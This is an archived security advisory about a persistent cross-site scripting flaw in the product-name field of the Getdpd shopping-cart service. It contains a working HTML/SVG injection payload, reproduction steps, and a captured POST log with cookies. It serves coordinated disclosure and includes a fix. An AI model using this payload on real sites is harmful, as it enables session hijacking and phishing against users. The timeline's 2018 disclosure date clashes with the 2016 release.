exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Getdpd Script Insertion

Getdpd Script Insertion
Posted Feb 8, 2016
Authored by Hadji Samir, Vulnerability Laboratory | Site vulnerability-lab.com

Getdpd suffers from a malicious script insertion vulnerability.

tags | exploit
SHA-256 | 0ffa66db827bd68f372c957dc8ff85afd39f24098978fa122f2458b43d077a56

Getdpd Script Insertion

Change Mirror Download
Document Title:
===============
Getdpd BB #4 - (name) Persistent Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1568

ID: #14772


Release Date:
=============
2016-02-08


Vulnerability Laboratory ID (VL-ID):
====================================
1568


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and
delivers millions worth of downloads each year.

(Copy of the Vendor Homepage: https://getdpd.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-08-09: Researcher Notification & Coordination (Hadji Samir)
2015-08-10: Vendor Notification (Getdpd Security Team - Bug Bounty Program)
2015-09-02: Vendor Response/Feedback (Getdpd Security Team - Bug Bounty Program)
2016-01-22: Vendor Fix/Patch (Getdpd Developer Team)
2018-02-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DPD - Digital Product Delivery
Product: DPD Online Service (Web-Application) 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.

The vulnerability is located in the product name input value. Remote attackers with low privilege web-application user accounts are able to
inject own malicious script code via POST method request. The injection point is the vulnerable Product parameter with the name input and
the execution point is located in https://getdpd.com/storefront/productchooser module. The request method to inject is POST and the
vulnerability is located to the application-side of the vulnerable service.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] getdpd.com

Vulnerable Module(s):
[+] Pulldown Builder _ DPD Shopping Cart

Vulnerable Parameter(s):
[+] name (form data via POST)


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create a new product with name "></option></select></div><svg onload=alert(document.cookie)>
2. Open https://getdpd.com/storefront/productchooser ... the code will execute <svg onload=alert(document.cookie)>
3. Successful reproduce of the security vulnerability!


--- PoC Session Logs [POST] ---
11:42:04.317[464ms][total 464ms]
Status: 302[Found]
POST https://getdpd.com/product/update/114785
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[113] Mime Type[text/html]
Request Headers:
Host[getdpd.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Referer[https://getdpd.com/product/edit/114785]
Cookie[_src=https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1; _ga=GA1.2.163063198.1438880403; __zlcmid=W5erEG66rmgkKt; referrer=javascript:alert(1); view-cart-button=https%3A%2F%2Fgetdpd.com%2Fimages%2Fbuy_buttons%2Fvc%2Fsolid1%2Fdpd_viewcart_2.png; symfony=4fk57k07c4c3blm6piak6rrk01; _csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; _gat=1]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="_csrf_token"
5dd0e8de2f12cbf4cfdddb7af46239126a7861de
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="storefront_id"
23842
-----------------------------2026716451270970083621900121Content-Disposition: form-data; name="wizard"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="type"
digital
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="name"
"></option></select></div><svg onload=alert(1)> [MALICIOUS PAYLOAD INJECTION!]
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="price"
0.00
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="sku"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="hoplink_target_url"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="show_on_index"
0
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="show_on_index"
1
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="image_file"; filename=""
Content-Type: application/octet-stream
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="description"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="long_description"
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="collect_customer_info"
1
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="purchase_limit"
0
-----------------------------2026716451270970083621900121
Content-Disposition: form-data; name="eula"
-----------------------------2026716451270970083621900121--]
Response Headers:
Date[Mon, 10 Aug 2015 10:45:29 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Location[https://getdpd.com/product/detail/114785]
Set-Cookie[_csrf_token=5dd0e8de2f12cbf4cfdddb7af46239126a7861de; path=/; secure]
Vary[Accept-Encoding,User-Agent]
Content-Encoding[gzip]
P3p[CP="NOI CURa OUR NOR UNI"]
Content-Length[113]
Connection[close]
Content-Type[text/html]


PoC: Source
<div class="amselect-container" style="">
<div id="asmContainer0" class="asmContainer"><select id="asmSelect0" name="asmSelect0" class="asmSelect">
<option selected="selected">undefined</option> ($0.00)</select><ol id="asmList0" class="asmList ui-sortable asmListSortable"></ol>
<select style="display: none;" name="product_ids[]" id="product_ids" multiple="multiple"><option id="asm0option0"
value="https://getdpd.com/cart/buy/23842/114785/121300">"></option></select></div><svg onload=alert('xss')> ($0.00)</option>
</select></div> </div>
... ...
<div id="page-wrapper">
<ul class="breadcrumb">
<li><a href="https://getdpd.com/dashboard">Dashboard</a> ›</li>
<li><a href="https://getdpd.com/product/list?filter=1">Your Products</a> ›</li>
<li><a href="https://getdpd.com/storefront/productchooser?id=23842">Pulldown Builder</a></li>
</ul>
<div class="page">
<!-- Start Sidebar -->
<div id="sidebar">
<span style="margin:10px 0 0 12px; font-size: 14px; color: #555">test01</span><hr style="margin: 5px;">
<form action="" id="storefront-form" class="form-inline" style="margin-top: 5px;">
<select name="_storefront_id" id="_storefront_id" class="input" style="width: 185px; margin:5px 0 0 10px;"><option selected="selected" value="">Switch Store...</option>
<option value="23786">"><img src="c"></option>
<option value="23787">samirvuln</option>
<option value="23808">test</option>
</select> <ul class="nav nav-pills nav-stacked">
<li><a href="https://getdpd.com/userwizard/newStoreModal"><i class="minicon-add"></i> Add New Store</a></li>
</ul>
</form>



Reference(s):
https://getdpd.com/
https://getdpd.com/dashboard
https://getdpd.com/storefront/productchooser?id=
https://getdpd.com/product/update/114785
https://getdpd.com/product/detail/114785
https://getdpd.com/product/114584/fulfillment_method/edit?id=64976&wizard=1



Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable name input fields. Restrict the input and disallow usage of special chars.
Filter and setup a secure exception handling that prevents the persistent execution in the output location.


Security Risk:
==============
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2016 | Vulnerability Laboratory [Evolution Security]



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close